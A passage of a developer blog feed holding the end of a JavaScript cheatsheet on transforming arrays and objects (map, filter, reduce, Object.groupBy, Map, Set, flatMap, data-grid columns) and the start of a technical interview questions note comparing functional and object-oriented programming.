&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And a second endpoint, &lt;code&gt;GET /customers&lt;/code&gt;, for the join example later:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const customers = [
  { name: &apos;Ada&apos;, tier: &apos;gold&apos; },
  { name: &apos;Bram&apos;, tier: &apos;silver&apos; },
  { name: &apos;Cleo&apos;, tier: &apos;bronze&apos; },
]
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;&lt;code&gt;map&lt;/code&gt; — reshape every item&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;map&lt;/code&gt; is a one-to-one transform: the output array has the same length as the input, but each item is whatever you return. Use it to &lt;strong&gt;pick the fields a component needs&lt;/strong&gt; and drop the rest, or to add a computed field.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Trim each order down to just what a list row renders
const rows = orders.map((order) =&amp;gt; ({
  id: order.id,
  label: `${order.product} — ${order.customer}`,
  priceLabel: `£${order.price}`,
}))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A common interview ask is &quot;add a derived field&quot;. &lt;code&gt;map&lt;/code&gt; plus spread keeps the original fields and tacks on new ones:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const withTax = orders.map((order) =&amp;gt; ({
  ...order,
  priceWithTax: Math.round(order.price * 1.2 * 100) / 100,
}))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;filter&lt;/code&gt; — keep a subset&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;filter&lt;/code&gt; returns the items where your callback is truthy. The output is the same shape as the input, just shorter.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const shipped = orders.filter((order) =&amp;gt; order.status === &apos;shipped&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two patterns worth knowing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// filter(Boolean) drops null / undefined / &apos;&apos; / 0 / false / NaN — handy
// after a map that may produce gaps
const notes = orders.map((o) =&amp;gt; o.note).filter(Boolean)
// careful: it also drops real 0s, so don&apos;t use it on prices or counts

// Filtering against a Set is cleaner than a chain of || comparisons
const wanted = new Set([&apos;tech&apos;, &apos;home&apos;])
const visible = orders.filter((order) =&amp;gt; wanted.has(order.category))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Chaining &lt;code&gt;filter&lt;/code&gt; + &lt;code&gt;map&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The bread-and-butter pipeline: narrow the list, then reshape what&apos;s left. Order matters — filter first so &lt;code&gt;map&lt;/code&gt; does less work.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const pendingLabels = orders
  .filter((order) =&amp;gt; order.status === &apos;pending&apos;)
  .map((order) =&amp;gt; order.product)
// → [&apos;Mug&apos;, &apos;Cable&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;reduce&lt;/code&gt; — collapse a list into one value&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;reduce&lt;/code&gt; is the general-purpose tool: anything &lt;code&gt;map&lt;/code&gt; and &lt;code&gt;filter&lt;/code&gt; can&apos;t express, &lt;code&gt;reduce&lt;/code&gt; usually can. You give it an accumulator and decide what to do with each item.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sum&lt;/strong&gt; (the textbook case):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const revenue = orders.reduce((total, order) =&amp;gt; total + order.price, 0)
// → 667
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Tally / count occurrences&lt;/strong&gt; — build an object of counts:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const countByStatus = orders.reduce((counts, order) =&amp;gt; {
  counts[order.status] = (counts[order.status] ?? 0) + 1
  return counts
}, {})
// → { shipped: 3, pending: 2, cancelled: 1 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Min / max by a field&lt;/strong&gt; — keep a running winner:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const priciest = orders.reduce((top, order) =&amp;gt;
  order.price &amp;gt; top.price ? order : top,
)
// → the Desk order
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With no starting value, &lt;code&gt;reduce&lt;/code&gt; uses the first item as the start, and it &lt;strong&gt;throws on an empty array&lt;/strong&gt;. Guard with &lt;code&gt;orders.length ? … : undefined&lt;/code&gt;, or pass a start value.&lt;/p&gt;
&lt;p&gt;If you find yourself writing &lt;code&gt;reduce&lt;/code&gt; and reaching for a plain object as the accumulator, check whether &lt;code&gt;Object.groupBy&lt;/code&gt; or a &lt;code&gt;Map&lt;/code&gt; says it more clearly first.&lt;/p&gt;
&lt;h2&gt;Grouping — &lt;code&gt;Object.groupBy&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Splitting a flat list into buckets keyed by some field used to mean a fiddly &lt;code&gt;reduce&lt;/code&gt;. &lt;code&gt;Object.groupBy&lt;/code&gt; does it directly (Node 21+, and all current browsers):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const byCategory = Object.groupBy(orders, (order) =&amp;gt; order.category)
// → {
//     tech:   [ {id:1…}, {id:3…}, {id:6…} ],
//     home:   [ {id:2…}, {id:5…} ],
//     office: [ {id:4…} ],
//   }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Map.groupBy&lt;/code&gt; is the same but returns a &lt;code&gt;Map&lt;/code&gt; — use it when your grouping key isn&apos;t a string (an object, a number you want kept as a number). More in the &lt;a href=&quot;/notes/object-groupby/&quot;&gt;Object.groupBy&lt;/a&gt; note.&lt;/p&gt;
&lt;p&gt;If you need to support older runtimes, the &lt;code&gt;reduce&lt;/code&gt; equivalent is a useful snippet to keep around. &lt;code&gt;??=&lt;/code&gt; creates the array the first time a key is seen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const byCategory = orders.reduce((groups, order) =&amp;gt; {
  ;(groups[order.category] ??= []).push(order)
  return groups
}, {})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Indexing — turn a list into a lookup&lt;/h2&gt;
&lt;p&gt;If you ever write &lt;code&gt;list.find(...)&lt;/code&gt; &lt;em&gt;inside&lt;/em&gt; a loop, you&apos;ve built an accidental O(n²). Index the list &lt;strong&gt;once&lt;/strong&gt; into a &lt;code&gt;Map&lt;/code&gt; keyed by id, then every lookup is O(1):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const orderById = new Map(orders.map((order) =&amp;gt; [order.id, order]))

orderById.get(3) // → the Monitor order, instantly
orderById.has(9) // → false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;new Map(arrayOfPairs)&lt;/code&gt; is the key trick: &lt;code&gt;map&lt;/code&gt; each item into a &lt;code&gt;[key, value]&lt;/code&gt; pair and the &lt;code&gt;Map&lt;/code&gt; constructor consumes them. Prefer &lt;code&gt;Map&lt;/code&gt; over a plain object for lookups — it has a clean &lt;code&gt;.has()&lt;/code&gt;/&lt;code&gt;.get()&lt;/code&gt; API and won&apos;t collide with inherited keys like &lt;code&gt;constructor&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;Set&lt;/code&gt; — dedupe and fast membership&lt;/h2&gt;
&lt;p&gt;A &lt;code&gt;Set&lt;/code&gt; holds unique values. The single most common use is deduping — pull every distinct value of a field:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const categories = [...new Set(orders.map((o) =&amp;gt; o.category))]
// → [&apos;tech&apos;, &apos;home&apos;, &apos;office&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;new Set(array)&lt;/code&gt; drops duplicates; the &lt;code&gt;[...spread]&lt;/code&gt; turns it back into an array so you can &lt;code&gt;.map()&lt;/code&gt; it in JSX. A &lt;code&gt;Set&lt;/code&gt; also gives O(1) &lt;code&gt;.has()&lt;/code&gt;, which is why it&apos;s the right side of a &lt;code&gt;filter&lt;/code&gt; (see the &lt;code&gt;filter&lt;/code&gt; section above).&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;Set&lt;/code&gt; compares objects by reference, so it can&apos;t dedupe objects by a field. Use a &lt;code&gt;Map&lt;/code&gt; keyed by that field instead. Later items win:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const latestOrderPerCustomer = [
  ...new Map(orders.map((order) =&amp;gt; [order.customer, order])).values(),
]
// → one order per customer: Cable (Ada), Desk (Bram), Notebook (Cleo)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Compare two lists with Set methods&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Set&lt;/code&gt; has &lt;code&gt;union&lt;/code&gt;, &lt;code&gt;intersection&lt;/code&gt;, &lt;code&gt;difference&lt;/code&gt; and &lt;code&gt;symmetricDifference&lt;/code&gt; (Baseline 2024). They answer &quot;what changed?&quot; between two lists of ids:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const before = new Set([1, 2, 3, 4])
const after = new Set([2, 3, 4, 5])

after.difference(before) // → Set {5}        added
before.difference(after) // → Set {1}        removed
before.intersection(after) // → Set {2, 3, 4}  in both
before.union(after) // → Set {1, 2, 3, 4, 5}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also &lt;code&gt;isSubsetOf&lt;/code&gt;, &lt;code&gt;isSupersetOf&lt;/code&gt; and &lt;code&gt;isDisjointFrom&lt;/code&gt;, which return a boolean.&lt;/p&gt;
&lt;h2&gt;Joining two datasets&lt;/h2&gt;
&lt;p&gt;Real apps stitch data from multiple endpoints. The wrong way is &lt;code&gt;orders.map&lt;/code&gt; with a &lt;code&gt;customers.find&lt;/code&gt; inside it. The right way: index one side into a &lt;code&gt;Map&lt;/code&gt;, then &lt;code&gt;map&lt;/code&gt; the other side against it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const tierByName = new Map(customers.map((c) =&amp;gt; [c.name, c.tier]))

const enrichedOrders = orders.map((order) =&amp;gt; ({
  ...order,
  tier: tierByName.get(order.customer) ?? &apos;none&apos;,
}))
// each order now carries the customer&apos;s tier
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Sorting without mutating&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;sort&lt;/code&gt; mutates the array in place — a problem when the array is React state or props. &lt;code&gt;toSorted&lt;/code&gt; (ES2023) returns a sorted &lt;strong&gt;copy&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const cheapestFirst = orders.toSorted((a, b) =&amp;gt; a.price - b.price)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The comparator returns a number: negative keeps &lt;code&gt;a&lt;/code&gt; first, positive swaps them. &lt;code&gt;a - b&lt;/code&gt; for numbers; &lt;code&gt;a.localeCompare(b)&lt;/code&gt; for strings. &lt;code&gt;toReversed&lt;/code&gt; and &lt;code&gt;with(index, value)&lt;/code&gt; are the same idea — non-mutating versions of &lt;code&gt;reverse&lt;/code&gt; and index assignment. Pre-2023, spread first: &lt;code&gt;[...orders].sort(...)&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Objects ⇄ arrays&lt;/h2&gt;
&lt;p&gt;APIs love handing you an object keyed by id. React wants an array to render. &lt;code&gt;Object.entries&lt;/code&gt; bridges the gap:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const usersById = {
  u1: { name: &apos;Ada&apos; },
  u2: { name: &apos;Bram&apos; },
}

// keyed object → array (so you can .map() it in JSX)
const userList = Object.entries(usersById).map(([id, user]) =&amp;gt; ({
  id,
  ...user,
}))

// …and back again
const backToObject = Object.fromEntries(userList.map((u) =&amp;gt; [u.id, u]))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;entries&lt;/code&gt; → &lt;code&gt;map&lt;/code&gt; → &lt;code&gt;fromEntries&lt;/code&gt; round-trip also lets you transform an object&apos;s &lt;strong&gt;values&lt;/strong&gt; while keeping its shape:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const prices = { keyboard: 80, monitor: 240, cable: 9 }

const withSale = Object.fromEntries(
  Object.entries(prices).map(([name, price]) =&amp;gt; [name, price * 0.9]),
)
// → { keyboard: 72, monitor: 216, cable: 8.1 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Object.keys&lt;/code&gt; and &lt;code&gt;Object.values&lt;/code&gt; are the narrower versions when you only need one side.&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;Map&lt;/code&gt; (for example from &lt;code&gt;Map.groupBy&lt;/code&gt;) turns into an array the same way: &lt;code&gt;[...map]&lt;/code&gt; gives &lt;code&gt;[key, value]&lt;/code&gt; pairs, and &lt;code&gt;[...map.values()]&lt;/code&gt; gives only the values. &lt;code&gt;Object.fromEntries(map)&lt;/code&gt; turns it into a plain object.&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;flat&lt;/code&gt; — un-nest an array of arrays&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;flat&lt;/code&gt; takes an array that contains &lt;em&gt;other arrays&lt;/em&gt; and pulls the inner items up to the top level:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const nested = [[&apos;a&apos;, &apos;b&apos;], [&apos;c&apos;], [&apos;d&apos;, &apos;e&apos;]]

const flattened = nested.flat()
// → [&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;, &apos;e&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By default it only unwraps &lt;strong&gt;one&lt;/strong&gt; level of nesting. For something deeper, pass a depth number — or &lt;code&gt;Infinity&lt;/code&gt; to flatten all the way down:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const deep = [1, [2, [3, [4]]]]

deep.flat() // → [1, 2, [3, [4]]]   one level (the default)
deep.flat(2) // → [1, 2, 3, [4]]    two levels
deep.flat(Infinity) // → [1, 2, 3, 4]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;code&gt;flatMap&lt;/code&gt; — map, then flatten one level&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;flatMap&lt;/code&gt; is for one specific situation: you &lt;code&gt;map&lt;/code&gt; over a list and the callback returns an &lt;strong&gt;array&lt;/strong&gt; for each item. A plain &lt;code&gt;map&lt;/code&gt; then leaves you with an array &lt;em&gt;of arrays&lt;/em&gt; — almost never the shape you actually want.&lt;/p&gt;
&lt;p&gt;Picture a paginated API. It handed back three pages, and each page carries its own list of results:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const pages = [
  { page: 1, results: [&apos;Keyboard&apos;, &apos;Mug&apos;] },
  { page: 2, results: [&apos;Monitor&apos;, &apos;Notebook&apos;] },
  { page: 3, results: [&apos;Desk&apos;, &apos;Cable&apos;] },
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;map&lt;/code&gt; gets you &lt;em&gt;almost&lt;/em&gt; there — but each page&apos;s results stay boxed up inside their own array:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const stillNested = pages.map((page) =&amp;gt; page.results)
// → [[&apos;Keyboard&apos;, &apos;Mug&apos;], [&apos;Monitor&apos;, &apos;Notebook&apos;], [&apos;Desk&apos;, &apos;Cable&apos;]]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Adding &lt;code&gt;.flat()&lt;/code&gt; merges those inner arrays into one flat list. And that pairing — a &lt;code&gt;map&lt;/code&gt; followed by a one-level &lt;code&gt;flat&lt;/code&gt; — is &lt;em&gt;exactly&lt;/em&gt; what &lt;code&gt;flatMap&lt;/code&gt; does in a single call:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const mapThenFlat = pages.map((page) =&amp;gt; page.results).flat()
const flatMapped = pages.flatMap((page) =&amp;gt; page.results)
// both → [&apos;Keyboard&apos;, &apos;Mug&apos;, &apos;Monitor&apos;, &apos;Notebook&apos;, &apos;Desk&apos;, &apos;Cable&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So there&apos;s nothing more to &lt;code&gt;flatMap&lt;/code&gt; than &quot;&lt;code&gt;map&lt;/code&gt;, then &lt;code&gt;flat(1)&lt;/code&gt;&quot;.&lt;/p&gt;
&lt;p&gt;That framing also explains a handy side effect. Because each callback&apos;s array gets flattened away, the &lt;em&gt;length&lt;/em&gt; of the array you return decides how many items come out:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;return a one-item array &lt;code&gt;[x]&lt;/code&gt; → the item is kept, as &lt;code&gt;x&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;return an empty array &lt;code&gt;[]&lt;/code&gt; → the item vanishes entirely&lt;/li&gt;
&lt;li&gt;return a multi-item array &lt;code&gt;[x, y]&lt;/code&gt; → that one item becomes several&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Returning &lt;code&gt;[]&lt;/code&gt; to drop an item is what lets &lt;code&gt;flatMap&lt;/code&gt; act as a filter-and-map in one pass:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// keep tech products only — [product] keeps it, [] drops it
const techProducts = orders.flatMap((order) =&amp;gt;
  order.category === &apos;tech&apos; ? [order.product] : [],
)
// → [&apos;Keyboard&apos;, &apos;Monitor&apos;, &apos;Cable&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A separate &lt;code&gt;filter&lt;/code&gt; then &lt;code&gt;map&lt;/code&gt; does the same job and reads more plainly when the two steps are distinct. Reach for &lt;code&gt;flatMap&lt;/code&gt; when an item naturally expands into &lt;em&gt;zero or more&lt;/em&gt; results rather than exactly one.&lt;/p&gt;
&lt;h2&gt;Rendering into a data grid&lt;/h2&gt;
&lt;p&gt;A data grid — TanStack Table, AG Grid — needs two separate things: &lt;strong&gt;column definitions&lt;/strong&gt; and &lt;strong&gt;row data&lt;/strong&gt;. The API hands you a flat array of objects, but the object &lt;em&gt;keys&lt;/em&gt; have to become columns while the objects themselves become rows. Splitting one into the other is a transform in its own right.&lt;/p&gt;
&lt;p&gt;The quickest version derives the columns straight from the keys of a row:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const titleCase = (s) =&amp;gt; s.charAt(0).toUpperCase() + s.slice(1)

const columns = Object.keys(orders[0]).map((key) =&amp;gt; ({
  accessorKey: key, // TanStack Table — AG Grid calls this `field`
  header: titleCase(key), // AG Grid calls this `headerName`
}))
// → [{ accessorKey: &apos;id&apos;, header: &apos;Id&apos; }, { accessorKey: &apos;customer&apos;, header: &apos;Customer&apos; }, …]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That trusts &lt;code&gt;orders[0]&lt;/code&gt; to carry every key. If the data is sparse — some field missing on some records — collect the &lt;strong&gt;union&lt;/strong&gt; of keys with a &lt;code&gt;Set&lt;/code&gt; so no column gets dropped:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const allKeys = [...new Set(orders.flatMap((order) =&amp;gt; Object.keys(order)))]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Usually you don&apos;t want a column for &lt;em&gt;every&lt;/em&gt; field anyway: &lt;code&gt;id&lt;/code&gt; is internal, the column order matters, and headers need real labels rather than raw key names. Drive the columns from an explicit map instead of from the data — &lt;code&gt;Object.entries&lt;/code&gt; keeps it in the order you wrote:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const COLUMNS = {
  customer: &apos;Customer&apos;,
  product: &apos;Product&apos;,
  category: &apos;Category&apos;,
  price: &apos;Price (£)&apos;,
}

const columns = Object.entries(COLUMNS).map(([key, header]) =&amp;gt; ({
  accessorKey: key,
  header,
}))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The rows are often just the raw array — &lt;em&gt;but only&lt;/em&gt; when every cell value sits at the top level. Grids address a cell by a flat key, so a nested API response has to be flattened first: lift each nested leaf up to its own property.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// API nested the customer: { customer: { name: &apos;Ada&apos;, tier: &apos;gold&apos; }, … }
const rows = nestedOrders.map((order) =&amp;gt; ({
  ...order,
  customer: order.customer.name,
  customerTier: order.customer.tier,
}))
// now a column with accessorKey &apos;customerTier&apos; resolves to a real cell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;TanStack Table will also accept a dotted &lt;code&gt;accessorKey: &apos;customer.tier&apos;&lt;/code&gt;, but flattening up front keeps sorting, filtering and CSV export working without each of them needing to understand the nesting. More on the table itself in the &lt;a href=&quot;/notes/tanstack-table/&quot;&gt;TanStack Table&lt;/a&gt; note.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Putting it together&lt;/h2&gt;
&lt;p&gt;A realistic end-to-end transform: take the raw orders, drop cancelled ones, group by category, and produce a per-category summary ready to render.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const ordersByCategory = Object.groupBy(
  orders.filter((order) =&amp;gt; order.status !== &apos;cancelled&apos;),
  (order) =&amp;gt; order.category,
)

const summary = Object.entries(ordersByCategory).map(([category, group]) =&amp;gt; ({
  category,
  orderCount: group.length,
  revenue: group.reduce((total, order) =&amp;gt; total + order.price, 0),
}))
// → [
//     { category: &apos;tech&apos;, orderCount: 3, revenue: 329 },
//     { category: &apos;home&apos;, orderCount: 2, revenue: 332 },
//   ]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each step does one job: &lt;code&gt;filter&lt;/code&gt; narrows, &lt;code&gt;groupBy&lt;/code&gt; buckets, &lt;code&gt;entries&lt;/code&gt; makes it iterable, &lt;code&gt;map&lt;/code&gt; shapes each bucket, &lt;code&gt;reduce&lt;/code&gt; totals it. That&apos;s the whole game — pick the smallest method that does each step and chain them.&lt;/p&gt;
&lt;h2&gt;Quick reference&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;I want to…&lt;/th&gt;
&lt;th&gt;Reach for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Reshape every item, same length out&lt;/td&gt;
&lt;td&gt;&lt;code&gt;map&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Keep only some items&lt;/td&gt;
&lt;td&gt;&lt;code&gt;filter&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Collapse a list to a single value&lt;/td&gt;
&lt;td&gt;&lt;code&gt;reduce&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Split a list into keyed buckets&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Object.groupBy&lt;/code&gt; / &lt;code&gt;Map.groupBy&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Look an item up by id, repeatedly&lt;/td&gt;
&lt;td&gt;&lt;code&gt;new Map(list.map(x =&amp;gt; [x.id, x]))&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Get the unique values of something&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[...new Set(values)]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dedupe objects by a field&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[...new Map(list.map(x =&amp;gt; [x.id, x])).values()]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;See what was added / removed&lt;/td&gt;
&lt;td&gt;&lt;code&gt;after.difference(before)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Merge data from two endpoints&lt;/td&gt;
&lt;td&gt;index one side in a &lt;code&gt;Map&lt;/code&gt;, &lt;code&gt;map&lt;/code&gt; other&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sort without mutating&lt;/td&gt;
&lt;td&gt;&lt;code&gt;toSorted&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Keyed object → renderable array&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Object.entries(obj).map(...)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Array → keyed object&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Object.fromEntries(pairs)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Transform an object&apos;s values&lt;/td&gt;
&lt;td&gt;&lt;code&gt;entries&lt;/code&gt; → &lt;code&gt;map&lt;/code&gt; → &lt;code&gt;fromEntries&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flatten one level of nesting&lt;/td&gt;
&lt;td&gt;&lt;code&gt;flat&lt;/code&gt; / &lt;code&gt;flatMap&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Build grid columns from object keys&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Object.keys(row).map(...)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;More detail on each method in &lt;a href=&quot;/notes/array-methods/&quot;&gt;Array methods&lt;/a&gt; and &lt;a href=&quot;/notes/object-groupby/&quot;&gt;Object.groupBy&lt;/a&gt;. For every way to loop over arrays, objects, &lt;code&gt;Map&lt;/code&gt;s and more, see &lt;a href=&quot;/notes/js-array-looping/&quot;&gt;Looping and iterating&lt;/a&gt;.&lt;/p&gt;
</content:encoded><category>javascript</category><category>cheatsheet</category><category>interview</category><author>Zander Martineau</author></item><item><title>Technical Job Interview Questions</title><link>https://zander.wtf/notes/technical-job-interview-questions/</link><guid isPermaLink="true">https://zander.wtf/notes/technical-job-interview-questions/</guid><description>Use the Custom GPT that I made to prepare for technical interviews: https://chat.openai.com/g/g-lCM8cVeOj-tech-interview-coach JavaScript questions What is…</description><pubDate>Wed, 30 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Use the Custom GPT that I made to prepare for technical interviews: https://chat.openai.com/g/g-lCM8cVeOj-tech-interview-coach&lt;/p&gt;
&lt;h2&gt;JavaScript questions&lt;/h2&gt;
&lt;h3&gt;What is the difference between functional and object oriented programming?&lt;/h3&gt;
&lt;p&gt;Functional Programming (FP) and Object-Oriented Programming (OOP) are two fundamental paradigms in software engineering, each with its unique approach and principles:&lt;/p&gt;
&lt;h4&gt;Functional Programming&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Immutability&lt;/strong&gt;: In FP, data is immutable. Once created, objects cannot be modified. This leads to more predictable and bug-resistant code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pure Functions&lt;/strong&gt;: Functions in FP are &apos;pure&apos;. They don’t have side effects (like modifying global state) and given the same inputs, always produce the same outputs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;First-Class and Higher-Order Functions&lt;/strong&gt;: Functions are treated as first-class citizens, meaning they can be assigned to variables, passed as arguments, or returned from other functions. Higher-order functions, which take functions as arguments or return them, are a key feature.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stateless&lt;/strong&gt;: FP emphasizes stateless design where the output of a function depends only on its input arguments and not on any external or global state.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Examples of Functional Languages&lt;/strong&gt;: Haskell, Clojure, and parts of JavaScript, Python, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Object-Oriented Programming&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Encapsulation&lt;/strong&gt;: OOP encapsulates data and functions that operate on the data within objects. This helps in bundling the data and the methods that operate on the data, and restricts access to them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inheritance&lt;/strong&gt;: Objects can inherit properties and methods from other objects. This promotes code reusability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Polymorphism&lt;/strong&gt;: OOP allows objects to be treated as instances of their parent class rather than their actual class. This leads to flexibility in code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Stateful&lt;/strong&gt;: Objects in OOP typically hold state. They have attributes that are often modified by the methods of the object.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Examples of Object-Oriented Languages&lt;/strong&gt;: Java, C++, Python, Ruby, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Comparative Summary&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Philosophy&lt;/strong&gt;: FP is about transforming data in a sequence of immutable steps without side effects, while OOP is about organising code around objects and their interactions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;State Management&lt;/strong&gt;: FP avoids state and mutable data, while OOP embraces them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Code Reusability&lt;/strong&gt;: In FP, reusability is achieved through functions, especially higher-order functions. In OOP, reusability is achieved through inheritance and polymorphism.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Concurrency&lt;/strong&gt;: FP tends to be more friendly towards concurrent programming due to its emphasis on immutability.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Many modern programming languages support both paradigms, allowing developers to choose the most suitable approach for their problem at hand.&lt;/p&gt;
&lt;h3&gt;What are some javascript design patterns?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Singleton
A Singleton only allows for a single instantiation, but many instances of the same object. The Singleton restricts clients from creating multiple objects, after the first object created, it will return instances of itself.&lt;/li&gt;
&lt;li&gt;Module&lt;/li&gt;
